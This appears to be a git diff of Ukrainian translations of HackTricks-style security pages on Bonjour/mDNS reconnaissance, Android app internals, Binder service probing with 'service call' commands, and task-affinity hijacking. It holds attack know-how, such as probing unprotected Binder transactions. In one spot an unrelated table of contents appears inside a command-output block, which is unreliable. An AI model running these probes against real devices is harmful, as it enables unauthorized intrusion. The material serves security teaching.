Це поверне хости, які відкривають SSH через Bonjour за межами локального з'єднання.
|
||||
Це поверне хости, які відкривають SSH через Bonjour за межами локальної мережі.
|
||||
|
||||
### Заходи безпеки та недавні вразливості (2024-2025)
|
||||
|
||||
@ -149,14 +149,14 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
|
||||
**Рекомендації щодо пом'якшення**
|
||||
|
||||
1. Обмежте UDP 5353 до *link-local* області – заблокуйте або обмежте його на бездротових контролерах, маршрутизаторах та хостових брандмауерах.
|
||||
1. Обмежте UDP 5353 до *локальної мережі* – заблокуйте або обмежте його на бездротових контролерах, маршрутизаторах та хостових брандмауерах.
|
||||
2. Повністю вимкніть Bonjour на системах, які не потребують виявлення служб:
|
||||
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. Для середовищ, де Bonjour потрібен внутрішньо, але ніколи не повинен перетинати мережеві межі, використовуйте обмеження профілю *AirPlay Receiver* (MDM) або mDNS проксі.
|
||||
4. Увімкніть **System Integrity Protection (SIP)** і підтримуйте macOS в актуальному стані – обидві вразливості вище були швидко виправлені, але залежали від увімкнення SIP для повного захисту.
|
||||
4. Увімкніть **Захист цілісності системи (SIP)** та підтримуйте macOS в актуальному стані – обидві вразливості були швидко виправлені, але залежали від увімкнення SIP для повного захисту.
|
||||
|
||||
### Вимкнення Bonjour
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
||||
**Є два рівні:**
|
||||
|
||||
- **ОС**, яка ізолює встановлені додатки один від одного.
|
||||
- **сам додаток**, який дозволяє розробникам **експонувати певні функціональності** та налаштовувати можливості додатка.
|
||||
- **сам додаток**, який дозволяє розробникам **викривати певні функціональності** та налаштовувати можливості додатка.
|
||||
|
||||
### Розділення UID
|
||||
|
||||
@ -15,27 +15,27 @@
|
||||
|
||||
### Спільний UID
|
||||
|
||||
**Два додатки можуть бути налаштовані на використання одного й того ж UID**. Це може бути корисно для обміну інформацією, але якщо один з них буде скомпрометований, дані обох додатків також будуть скомпрометовані. Ось чому така поведінка **не рекомендується**.\
|
||||
**Два додатки можуть бути налаштовані на використання одного й того ж UID**. Це може бути корисно для обміну інформацією, але якщо один з них буде скомпрометований, дані обох додатків будуть скомпрометовані. Ось чому така поведінка **не рекомендується**.\
|
||||
**Щоб поділитися одним UID, додатки повинні визначити однакове значення `android:sharedUserId` у своїх маніфестах.**
|
||||
|
||||
### Пісочниця
|
||||
|
||||
**Пісочниця Android-додатків** дозволяє запускати **кожен додаток** як **окремий процес під окремим ідентифікатором користувача**. Кожен процес має свою віртуальну машину, тому код додатка виконується в ізоляції від інших додатків.\
|
||||
З Android 5.0(L) **впроваджується SELinux**. В основному, SELinux забороняє всі взаємодії процесів, а потім створює політики, щоб **дозволити лише очікувані взаємодії між ними**.
|
||||
З Android 5.0(L) **SELinux** застосовується. В основному, SELinux забороняє всі взаємодії процесів, а потім створює політики, щоб **дозволити лише очікувані взаємодії між ними**.
|
||||
|
||||
### Дозволи
|
||||
|
||||
Коли ви встановлюєте **додаток і він запитує дозволи**, додаток запитує дозволи, налаштовані в елементах **`uses-permission`** у файлі **AndroidManifest.xml**. Елемент **uses-permission** вказує назву запитуваного дозволу в **атрибуті name**. Він також має атрибут **maxSdkVersion**, який зупиняє запит на дозволи на версіях, вищих за вказану.\
|
||||
Зверніть увагу, що Android-додатки не повинні запитувати всі дозволи на початку, вони також можуть **запитувати дозволи динамічно**, але всі дозволи повинні бути **оголошені** в **маніфесті**.
|
||||
|
||||
Коли додаток експонує функціональність, він може обмежити **доступ лише до додатків, які мають вказаний дозвіл**.\
|
||||
Коли додаток викриває функціональність, він може обмежити **доступ лише до додатків, які мають вказаний дозвіл**.\
|
||||
Елемент дозволу має три атрибути:
|
||||
|
||||
- **назва** дозволу
|
||||
- атрибут **permission-group**, який дозволяє групувати пов'язані дозволи.
|
||||
- **рівень захисту**, який вказує, як надаються дозволи. Є чотири типи:
|
||||
- **Нормальний**: Використовується, коли **немає відомих загроз** для додатка. Користувач **не зобов'язаний його затверджувати**.
|
||||
- **Небезпечний**: Вказує, що дозвіл надає запитуючому додатку певний **підвищений доступ**. **Користувачів просять їх затвердити**.
|
||||
- **Небезпечний**: Вказує, що дозвіл надає запитуючому додатку певний **підвищений доступ**. **Користувачі повинні їх затвердити**.
|
||||
- **Підпис**: Тільки **додатки, підписані тим же сертифікатом, що й той**, що експортує компонент, можуть отримати дозвіл. Це найсильніший тип захисту.
|
||||
- **SignatureOrSystem**: Тільки **додатки, підписані тим же сертифікатом, що й той**, що експортує компонент, або **додатки, що працюють з доступом на рівні системи**, можуть отримати дозволи.
|
||||
|
||||
@ -45,14 +45,14 @@
|
||||
|
||||
- Ті, що постачаються з **AOSP** (Android OpenSource Project) **ROM**
|
||||
- Додані виробником **пристрою**
|
||||
- Додані постачальником **мобільного телефону** (якщо куплені у них)
|
||||
- Додані постачальником **мобільного зв'язку** (якщо куплені у них)
|
||||
|
||||
## Рутування
|
||||
|
||||
Щоб отримати доступ до root на фізичному пристрої Android, вам зазвичай потрібно **експлуатувати** 1 або 2 **вразливості**, які зазвичай є **специфічними** для **пристрою** та **версії**.\
|
||||
Після того, як експлуатація спрацює, зазвичай бінарний файл Linux `su` копіюється в місце, вказане в змінній середовища PATH користувача, наприклад, `/system/xbin`.
|
||||
Після того, як експлуатація спрацювала, зазвичай бінарний файл Linux `su` копіюється в місце, вказане в змінній середовища PATH користувача, наприклад, `/system/xbin`.
|
||||
|
||||
Після налаштування бінарного файлу su використовується інший Android-додаток для взаємодії з бінарним файлом `su` та **обробки запитів на доступ до root**, таких як **Superuser** та **SuperSU** (доступні в Google Play Store).
|
||||
Після налаштування бінарного файлу su використовується інший додаток Android для взаємодії з бінарним файлом `su` та **обробки запитів на доступ до root**, таких як **Superuser** та **SuperSU** (доступні в Google Play Store).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що процес рутування є дуже небезпечним і може серйозно пошкодити пристрій.
|
||||
@ -83,13 +83,13 @@
|
||||
- lib/
|
||||
- Містить рідні бібліотеки, розділені за архітектурою ЦП в підкаталогах.
|
||||
- `armeabi`: код для процесорів на базі ARM
|
||||
- `armeabi-v7a`: код для процесорів ARMv7 та вищих
|
||||
- `armeabi-v7a`: код для процесорів ARMv7 і вище
|
||||
- `x86`: код для процесорів X86
|
||||
- `mips`: код лише для процесорів MIPS
|
||||
- assets/
|
||||
- Зберігає різні файли, необхідні додатку, потенційно включаючи додаткові рідні бібліотеки або DEX файли, іноді використовувані авторами шкідливих програм для приховування додаткового коду.
|
||||
- Зберігає різні файли, необхідні додатку, потенційно включаючи додаткові рідні бібліотеки або DEX файли, які іноді використовуються авторами шкідливих програм для приховування додаткового коду.
|
||||
- res/
|
||||
- Містить ресурси, які не скомпільовані в resources.arsc.
|
||||
- Містить ресурси, які не скомпільовані в resources.arsc
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
@ -101,24 +101,24 @@
|
||||
|
||||
Інтенти є основним засобом, за допомогою якого Android-додатки спілкуються між своїми компонентами або з іншими додатками. Ці об'єкти повідомлень також можуть переносити дані між додатками або компонентами, подібно до того, як використовуються запити GET/POST у HTTP-комунікаціях.
|
||||
|
||||
Отже, Інтент - це, по суті, **повідомлення, яке передається між компонентами**. Інтенти **можуть бути спрямовані** на конкретні компоненти або додатки, **або можуть бути надіслані без конкретного отримувача**.\
|
||||
Простими словами, Інтент може бути використаний:
|
||||
Отже, Інтент — це, по суті, **повідомлення, яке передається між компонентами**. Інтенти **можуть бути спрямовані** на конкретні компоненти або додатки, **або можуть бути надіслані без конкретного отримувача**.\
|
||||
Простими словами, Інтент можна використовувати:
|
||||
|
||||
- Для запуску Activity, зазвичай відкриваючи інтерфейс користувача для додатку
|
||||
- Щоб запустити Activity, зазвичай відкриваючи інтерфейс користувача для додатка
|
||||
- Як трансляції, щоб повідомити систему та додатки про зміни
|
||||
- Для запуску, зупинки та взаємодії з фоновим сервісом
|
||||
- Для доступу до даних через ContentProviders
|
||||
- Щоб запускати, зупиняти та взаємодіяти з фоновою службою
|
||||
- Щоб отримати доступ до даних через ContentProviders
|
||||
- Як зворотні виклики для обробки подій
|
||||
|
||||
Якщо вразливі, **інтенти можуть бути використані для виконання різноманітних атак**.
|
||||
|
||||
### Фільтр Інтентів
|
||||
|
||||
**Фільтри Інтентів** визначають, **як Activity, сервіс або Broadcast Receiver можуть взаємодіяти з різними типами Інтентів**. По суті, вони описують можливості цих компонентів, такі як дії, які вони можуть виконувати, або типи трансляцій, які вони можуть обробляти. Основне місце для оголошення цих фільтрів - це файл **AndroidManifest.xml**, хоча для Broadcast Receivers також є можливість їх кодування.
|
||||
**Фільтри Інтентів** визначають, **як активність, служба або приймач трансляцій можуть взаємодіяти з різними типами Інтентів**. По суті, вони описують можливості цих компонентів, такі як дії, які вони можуть виконувати, або типи трансляцій, які вони можуть обробляти. Основне місце для оголошення цих фільтрів — це файл **AndroidManifest.xml**, хоча для приймачів трансляцій також є можливість їх кодування.
|
||||
|
||||
Фільтри Інтентів складаються з категорій, дій та фільтрів даних, з можливістю включення додаткових метаданих. Ця настройка дозволяє компонентам обробляти конкретні Інтенти, які відповідають оголошеним критеріям.
|
||||
Фільтри Інтентів складаються з категорій, дій та фільтрів даних, з можливістю включення додаткових метаданих. Ця конфігурація дозволяє компонентам обробляти конкретні Інтенти, які відповідають оголошеним критеріям.
|
||||
|
||||
Критичним аспектом Android-компонентів (activities/services/content providers/broadcast receivers) є їх видимість або **публічний статус**. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він **`exported`** зі значенням **`true`** або якщо для нього в маніфесті оголошено фільтр Інтентів. Однак розробники можуть явно зберігати ці компоненти приватними, забезпечуючи їх ненавмисну взаємодію з іншими додатками. Це досягається шляхом встановлення атрибута **`exported`** на **`false`** у їхніх визначеннях маніфесту.
|
||||
Критичним аспектом Android-компонентів (активності/служби/постачальники контенту/приймачі трансляцій) є їх видимість або **публічний статус**. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він **`exported`** зі значенням **`true`** або якщо для нього в маніфесті оголошено фільтр Інтентів. Однак є спосіб для розробників явно зберегти ці компоненти приватними, забезпечуючи їх ненавмисну взаємодію з іншими додатками. Це досягається шляхом встановлення атрибута **`exported`** на **`false`** у їх визначеннях маніфесту.
|
||||
|
||||
Більше того, розробники мають можливість додатково захистити доступ до цих компонентів, вимагаючи специфічних дозволів. Атрибут **`permission`** може бути встановлений, щоб забезпечити, що лише додатки з призначеним дозволом можуть отримати доступ до компонента, додаючи додатковий рівень безпеки та контролю над тим, хто може з ним взаємодіяти.
|
||||
```java
|
||||
@ -126,15 +126,15 @@
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Імпліцитні наміри
|
||||
### Імпліцитні Наміри
|
||||
|
||||
Наміри створюються програмно за допомогою конструктора Intent:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Дія** раніше оголошеного наміру - **ACTION_SEND**, а **Додаткове** - це mailto **Uri** (Додаткове - це додаткова інформація, яку очікує намір).
|
||||
**Дія** раніше оголошеного наміру - це **ACTION_SEND**, а **Додаткове** - це mailto **Uri** (Додаткове - це додаткова інформація, яку очікує намір).
|
||||
|
||||
Цей намір повинен бути оголошений у маніфесті, як у наступному прикладі:
|
||||
Цей намір слід оголосити в маніфесті, як у наступному прикладі:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
@ -147,7 +147,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
|
||||
Процес "розв'язання намірів" визначає, яка програма повинна отримати кожне повідомлення. Цей процес враховує **атрибут пріоритету**, який можна встановити в **оголошенні фільтра намірів**, і **той, що має вищий пріоритет, буде обраний**. Цей пріоритет може бути встановлений в межах від -1000 до 1000, і програми можуть використовувати значення `SYSTEM_HIGH_PRIORITY`. Якщо виникає **конфлікт**, з'являється вікно "вибору", щоб **користувач міг вирішити**.
|
||||
|
||||
### Явні Намірі
|
||||
### Явні наміри
|
||||
|
||||
Явний намір вказує на ім'я класу, на який він націлений:
|
||||
```java
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Ці дозволяють іншим додаткам **виконувати дії від імені вашого додатку**, використовуючи ідентичність та дозволи вашого додатку. Для створення Pending Intent потрібно **вказати намір та дію, яку потрібно виконати**. Якщо **оголошений намір не є явним** (не вказує, який намір може його викликати), **зловмисний додаток може виконати оголошену дію** від імені жертви. Більше того, **якщо дія не вказана**, зловмисний додаток зможе виконати **будь-яку дію від імені жертви**.
|
||||
Ці дозволяють іншим додаткам **виконувати дії від імені вашого додатку**, використовуючи ідентичність та дозволи вашого додатку. Конструюючи Pending Intent, потрібно **вказати намір та дію, яку потрібно виконати**. Якщо **оголошений намір не є явним** (не вказує, який намір може його викликати), **зловмисний додаток може виконати оголошену дію** від імені жертви. Більше того, **якщо дія не вказана**, зловмисний додаток зможе виконати **будь-яку дію від імені жертви**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -169,9 +169,9 @@ context.startService(intent);
|
||||
|
||||
Альтернативно, також можливо **вказати дозвіл при відправці широкомовлення**. Додаток-отримувач повинен мати цей дозвіл.
|
||||
|
||||
Існує **два типи** широкомовлень: **Звичайні** (асинхронні) та **Упорядковані** (синхронні). **Порядок** базується на **налаштованому пріоритеті в елементі отримувача**. **Кожен додаток може обробляти, пересилати або відхиляти широкомовлення.**
|
||||
Існує **два типи** широкомовлень: **Звичайні** (асинхронні) та **Упорядковані** (синхронні). **Порядок** базується на **налаштованому пріоритеті в елементі отримувача**. **Кожен додаток може обробляти, передавати або відхиляти широкомовлення.**
|
||||
|
||||
Можна **відправити** **широкомовлення** за допомогою функції `sendBroadcast(intent, receiverPermission)` з класу `Context`.\
|
||||
Можна **відправити** **широкомовлення**, використовуючи функцію `sendBroadcast(intent, receiverPermission)` з класу `Context`.\
|
||||
Ви також можете використовувати функцію **`sendBroadcast`** з **`LocalBroadCastManager`**, яка забезпечує, що **повідомлення ніколи не покидає додаток**. Використовуючи це, вам навіть не потрібно експортувати компонент отримувача.
|
||||
|
||||
### Sticky Broadcasts
|
||||
@ -186,7 +186,7 @@ context.startService(intent);
|
||||
|
||||
У додатках Android **глибокі посилання** використовуються для ініціювання дії (Intent) безпосередньо через URL. Це робиться шляхом оголошення конкретної **схеми URL** в активності. Коли пристрій Android намагається **доступитися до URL з цією схемою**, вказана активність в додатку запускається.
|
||||
|
||||
Схема повинна бути оголошена у файлі **`AndroidManifest.xml`**:
|
||||
Схема повинна бути оголошена в **`AndroidManifest.xml`** файлі:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
@ -221,7 +221,7 @@ android:host="example"
|
||||
|
||||
### Ключові концепції
|
||||
|
||||
- **Прив'язані сервіси**: Ці сервіси використовують AIDL для IPC, що дозволяє активностям або компонентам підключатися до сервісу, робити запити та отримувати відповіді. Метод `onBind` у класі сервісу є критично важливим для ініціювання взаємодії, що робить його важливою областю для перевірки безпеки в пошуках вразливостей.
|
||||
- **Прив'язані сервіси**: Ці сервіси використовують AIDL для IPC, що дозволяє активностям або компонентам підключатися до сервісу, робити запити та отримувати відповіді. Метод `onBind` у класі сервісу є критично важливим для ініціювання взаємодії, що робить його важливою областю для перевірки безпеки в пошуку вразливостей.
|
||||
|
||||
- **Messenger**: Працюючи як прив'язаний сервіс, Messenger полегшує IPC з акцентом на обробку даних через метод `onBind`. Важливо уважно перевірити цей метод на предмет небезпечного оброблення даних або виконання чутливих функцій.
|
||||
|
||||
@ -229,13 +229,13 @@ android:host="example"
|
||||
|
||||
## Компоненти
|
||||
|
||||
До них відносяться: **Активності, Сервіси, Отримувачі повідомлень та Провайдери.**
|
||||
До них відносяться: **Активності, Сервіси, Отримувачі трансляцій та Провайдери.**
|
||||
|
||||
### Активність запуску та інші активності
|
||||
|
||||
В Android-додатках **активності** подібні до екранів, що показують різні частини інтерфейсу користувача додатку. Додаток може мати багато активностей, кожна з яких представляє унікальний екран для користувача.
|
||||
|
||||
**Активність запуску** є основним шлюзом до додатку, яка запускається, коли ви натискаєте на іконку додатку. Вона визначена у файлі маніфесту додатку з конкретними намірами MAIN та LAUNCHER:
|
||||
**Активність запуску** є основним шлюзом до додатку, який запускається, коли ви натискаєте на іконку додатку. Вона визначається у файлі маніфесту додатку з конкретними намірами MAIN та LAUNCHER:
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
@ -246,7 +246,7 @@ android:host="example"
|
||||
```
|
||||
Не всі додатки потребують активності запуску, особливо ті, що не мають інтерфейсу користувача, як фонові сервіси.
|
||||
|
||||
Активності можуть бути доступні іншим додаткам або процесам, якщо позначити їх як "експортовані" у маніфесті. Ця настройка дозволяє іншим додаткам запускати цю активність:
|
||||
Активності можуть бути доступні іншим додаткам або процесам, якщо їх позначити як "експортовані" у маніфесті. Ця настройка дозволяє іншим додаткам запускати цю активність:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -256,7 +256,7 @@ android:host="example"
|
||||
|
||||
### Підклас додатку
|
||||
|
||||
У розробці Android додаток має можливість створити **підклас** класу [Application](https://developer.android.com/reference/android/app/Application), хоча це не є обов'язковим. Коли такий підклас визначено, він стає першим класом, який створюється в додатку. Метод **`attachBaseContext`**, якщо він реалізований у цьому підкласі, виконується перед методом **`onCreate`**. Це налаштування дозволяє здійснити ранню ініціалізацію перед тим, як почне працювати решта додатку.
|
||||
У розробці Android додаток має можливість створити **підклас** класу [Application](https://developer.android.com/reference/android/app/Application), хоча це не є обов'язковим. Коли такий підклас визначено, він стає першим класом, який створюється в додатку. Метод **`attachBaseContext`**, якщо він реалізований у цьому підкласі, виконується перед методом **`onCreate`**. Це налаштування дозволяє ранню ініціалізацію перед тим, як почне працювати решта додатку.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
@ -274,9 +274,9 @@ super.onCreate();
|
||||
```
|
||||
### Services
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) це **фонові операції**, здатні виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати виконуватись навіть коли користувачі переходять до інших додатків, що робить сервіси важливими для **тривалих операцій**.
|
||||
[Services](https://developer.android.com/guide/components/services) є **фоновими операціями**, здатними виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати виконуватись навіть коли користувачі переходять до інших додатків, що робить сервіси важливими для **тривалих операцій**.
|
||||
|
||||
Сервіси універсальні; їх можна ініціювати різними способами, при цьому **Intents** є основним методом для їх запуску як точки входу в додаток. Як тільки сервіс запущено за допомогою методу `startService`, його метод `onStart` активується і продовжує працювати, поки не буде явно викликано метод `stopService`. Альтернативно, якщо роль сервісу залежить від активного з'єднання з клієнтом, використовується метод `bindService` для прив'язки клієнта до сервісу, активуючи метод `onBind` для передачі даних.
|
||||
Сервіси універсальні; їх можна ініціювати різними способами, при цьому **Intents** є основним методом для їх запуску як точки входу в додаток. Як тільки сервіс запущено за допомогою методу `startService`, його метод `onStart` активується і продовжує працювати, поки метод `stopService` не буде явно викликаний. Альтернативно, якщо роль сервісу залежить від активного з'єднання клієнта, використовується метод `bindService` для прив'язки клієнта до сервісу, активуючи метод `onBind` для передачі даних.
|
||||
|
||||
Цікаве застосування сервісів включає відтворення фонової музики або отримання мережевих даних без перешкоджання взаємодії користувача з додатком. Більше того, сервіси можуть бути доступні для інших процесів на тому ж пристрої через **експорт**. Це не є поведінкою за замовчуванням і вимагає явної конфігурації в файлі Android Manifest:
|
||||
```xml
|
||||
@ -290,7 +290,7 @@ super.onCreate();
|
||||
|
||||
Трансляції можуть бути **асинхронними**, досягаючи всіх приймачів без порядку, або **синхронними**, де приймачі отримують трансляцію на основі встановлених пріоритетів. Однак важливо зазначити потенційний ризик безпеки, оскільки будь-який додаток може пріоритизувати себе, щоб перехопити трансляцію.
|
||||
|
||||
Щоб зрозуміти функціональність приймача, шукайте метод **`onReceive`** у його класі. Код цього методу може маніпулювати отриманим Intent, підкреслюючи необхідність валідації даних приймачами, особливо в **Ordered Broadcasts**, які можуть змінювати або скасовувати Intent.
|
||||
Щоб зрозуміти функціональність приймача, шукайте метод **`onReceive`** у його класі. Код цього методу може маніпулювати отриманим Intent, підкреслюючи необхідність валідації даних приймачами, особливо в **Ordered Broadcasts**, які можуть змінювати або скидувати Intent.
|
||||
|
||||
### Content Provider
|
||||
|
||||
@ -323,7 +323,7 @@ android:resource="@xml/filepaths" />
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews - це **міні веб-браузери** всередині Android-додатків, які отримують контент або з вебу, або з локальних файлів. Вони стикаються з подібними ризиками, як і звичайні браузери, але існують способи **зменшити ці ризики** через специфічні **налаштування**.
|
||||
WebViews - це **міні веб-браузери** всередині Android додатків, які отримують контент або з вебу, або з локальних файлів. Вони стикаються з подібними ризиками, як і звичайні браузери, але існують способи **зменшити ці ризики** через специфічні **налаштування**.
|
||||
|
||||
Android пропонує два основних типи WebView:
|
||||
|
||||
@ -334,7 +334,7 @@ Android пропонує два основних типи WebView:
|
||||
|
||||
Для завантаження контенту доступні методи, такі як `loadUrl`, `loadData` та `loadDataWithBaseURL`. Важливо переконатися, що ці URL або файли є **безпечними для використання**. Налаштування безпеки можна керувати через клас `WebSettings`. Наприклад, вимкнення JavaScript за допомогою `setJavaScriptEnabled(false)` може запобігти атакам XSS.
|
||||
|
||||
JavaScript "Bridge" дозволяє Java-об'єктам взаємодіяти з JavaScript, вимагаючи, щоб методи були позначені `@JavascriptInterface` для безпеки з Android 4.2 і вище.
|
||||
JavaScript "Bridge" дозволяє Java об'єктам взаємодіяти з JavaScript, вимагаючи, щоб методи були позначені `@JavascriptInterface` для безпеки з Android 4.2 і вище.
|
||||
|
||||
Дозволяючи доступ до контенту (`setAllowContentAccess(true)`), WebViews можуть отримувати доступ до Content Providers, що може бути ризиком, якщо URL контенту не перевірені як безпечні.
|
||||
|
||||
@ -346,7 +346,7 @@ JavaScript "Bridge" дозволяє Java-об'єктам взаємодіяти
|
||||
|
||||
### **Цифровий підпис додатків**
|
||||
|
||||
- **Цифровий підпис** є обов'язковим для Android-додатків, забезпечуючи їх **автентичність** перед установкою. Цей процес використовує сертифікат для ідентифікації додатка і повинен бути перевірений менеджером пакетів пристрою під час установки. Додатки можуть бути **самопідписаними або сертифікованими зовнішнім CA**, що захищає від несанкціонованого доступу та забезпечує, щоб додаток залишався незмінним під час доставки на пристрій.
|
||||
- **Цифровий підпис** є обов'язковим для Android додатків, забезпечуючи їх **автентичність** перед установкою. Цей процес використовує сертифікат для ідентифікації додатка і повинен бути перевірений менеджером пакетів пристрою під час установки. Додатки можуть бути **самопідписаними або сертифікованими зовнішнім CA**, що захищає від несанкціонованого доступу та забезпечує, щоб додаток залишався незмінним під час доставки на пристрій.
|
||||
|
||||
### **Перевірка додатків для підвищення безпеки**
|
||||
|
||||
@ -354,7 +354,7 @@ JavaScript "Bridge" дозволяє Java-об'єктам взаємодіяти
|
||||
|
||||
### **Управління мобільними пристроями (MDM)**
|
||||
|
||||
- **MDM рішення** забезпечують **нагляд та безпеку** для мобільних пристроїв через **Device Administration API**. Вони вимагають установки Android-додатка для ефективного управління та захисту мобільних пристроїв. Ключові функції включають **забезпечення політик паролів**, **обов'язкове шифрування зберігання** та **дозволення віддаленого видалення даних**, забезпечуючи всебічний контроль та безпеку мобільних пристроїв.
|
||||
- **MDM рішення** забезпечують **нагляд та безпеку** для мобільних пристроїв через **Device Administration API**. Вони вимагають установки Android додатка для ефективного управління та захисту мобільних пристроїв. Ключові функції включають **забезпечення політик паролів**, **обов'язкове шифрування зберігання** та **дозволення віддаленого видалення даних**, забезпечуючи всебічний контроль та безпеку мобільних пристроїв.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -376,13 +376,15 @@ service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Вступ до Android додатків
|
||||
2. Архітектура Android
|
||||
3. Основи Android додатків
|
||||
4. Дослідження Android додатків
|
||||
5. Аналіз безпеки Android додатків
|
||||
6. Тестування на проникнення Android додатків
|
||||
7. Інструменти для тестування Android додатків
|
||||
8. Висновок
|
||||
2. Основи Android архітектури
|
||||
3. Види Android додатків
|
||||
4. Основні компоненти Android додатків
|
||||
5. Android Manifest файл
|
||||
6. Ресурси Android додатків
|
||||
7. Доступ до даних в Android
|
||||
8. Безпека Android додатків
|
||||
9. Тестування Android додатків
|
||||
10. Висновок
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
@ -412,7 +414,7 @@ service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
### 4. Брутфорсинг невідомих методів
|
||||
When header files are unavailable you can **iterate the code** until the error changes from:
|
||||
Коли файли заголовків недоступні, ви можете **ітеративно проходити код** до тих пір, поки помилка не зміниться з:
|
||||
```
|
||||
Result: Parcel(00000000 00000000) # "Not a data message"
|
||||
```
|
||||
@ -440,7 +442,7 @@ return true;
|
||||
Тепер прототип і **типи параметрів** абсолютно зрозумілі.
|
||||
|
||||
### 6. Виявлення відсутніх перевірок дозволів
|
||||
Імплементація (часто внутрішній клас `Impl`) відповідає за авторизацію:
|
||||
Впровадження (часто внутрішній клас `Impl`) відповідає за авторизацію:
|
||||
```java
|
||||
private void updateCtaAppStatus(int uid, boolean status) {
|
||||
if (!isPermissionAllowed()) {
|
||||
@ -451,7 +453,7 @@ throw new SecurityException("uid " + uid + " rejected");
|
||||
```
|
||||
Відсутність такої логіки або білого списку привілейованих UID (наприклад, `uid == 1000 /*system*/`) є **індикатором вразливості**.
|
||||
|
||||
Кейс – *MediaTek* `startMonitorProcessWithUid()` (транзакція **8**) повністю виконує повідомлення Netlink **без** жодних дозволів, що дозволяє непривабливому додатку взаємодіяти з модулем Netfilter ядра та спамити системний журнал.
|
||||
Кейс – *MediaTek* `startMonitorProcessWithUid()` (транзакція **8**) повністю виконує повідомлення Netlink **без** будь-яких дозволів, що дозволяє непривабливому додатку взаємодіяти з модулем Netfilter ядра та спамити системний журнал.
|
||||
|
||||
### 7. Автоматизація оцінки
|
||||
Інструменти / скрипти, які прискорюють розвідку Binder:
|
||||
|
@ -2,28 +2,28 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Завдання, стек назад та активності на передньому плані
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
В Android, **завдання** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **стек назад**. Цей стек упорядковує активності на основі того, коли вони були відкриті, причому найновіша активність відображається вгорі як **активність на передньому плані**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **завдання на передньому плані**.
|
||||
В Android, **task** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **back stack**. Цей стек упорядковує активності на основі того, коли вони були відкриті, з найновішою активністю, що відображається вгорі як **foreground activity**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **foreground task**.
|
||||
|
||||
Ось швидкий огляд переходів між активностями:
|
||||
|
||||
- **Активність 1** починається як єдина активність на передньому плані.
|
||||
- Запуск **Активності 2** переміщує **Активність 1** у стек назад, виводячи **Активність 2** на передній план.
|
||||
- Запуск **Активності 3** переміщує **Активність 1** та **Активність 2** далі назад у стеку, з **Активністю 3** тепер попереду.
|
||||
- Закриття **Активності 3** повертає **Активність 2** на передній план, демонструючи спрощений механізм навігації завданнями в Android.
|
||||
- **Activity 1** починається як єдина активність на передньому плані.
|
||||
- Запуск **Activity 2** переміщує **Activity 1** у back stack, виводячи **Activity 2** на передній план.
|
||||
- Запуск **Activity 3** переміщує **Activity 1** та **Activity 2** далі назад у стеку, з **Activity 3** тепер спереду.
|
||||
- Закриття **Activity 3** повертає **Activity 2** на передній план, демонструючи спрощений механізм навігації завдань Android.
|
||||
|
||||
.png>)
|
||||
|
||||
---
|
||||
|
||||
## Атаки на афінність завдання
|
||||
## Task affinity attacks
|
||||
|
||||
`taskAffinity` вказує Android, до якого завдання `Activity` *бажає* належати. Коли дві активності мають однакову афінність, **Android дозволяє об'єднувати їх у одному стеку назад, навіть якщо вони походять з різних APK**.
|
||||
`taskAffinity` вказує Android, до якого завдання `Activity` *надає перевагу* належати. Коли дві активності мають однакову афіліацію, **Android дозволяє об'єднувати їх у одному back-stack, навіть якщо вони походять з різних APK**.
|
||||
|
||||
Якщо зловмисник може розмістити шкідливу активність на **корені** цього стеку, щоразу, коли жертва відкриває легітимний додаток, шкідливий інтерфейс буде першим, що побачить користувач – ідеально для фішингу або зловживання дозволами.
|
||||
Якщо зловмисник може розмістити шкідливу активність на **root** цього стеку, щоразу, коли жертва відкриває легітимний додаток, шкідливий інтерфейс буде першим, що побачить користувач – ідеально для фішингу або зловживання дозволами.
|
||||
|
||||
Поверхня атаки ширша, ніж багато розробників вважають, оскільки **кожна активність автоматично успадковує афінність, рівну назві пакета програми** (якщо розробник не встановить `android:taskAffinity=""`). Тому *нічого не роблячи* вже залишає додаток відкритим для захоплення завдань на версіях Android до 11.
|
||||
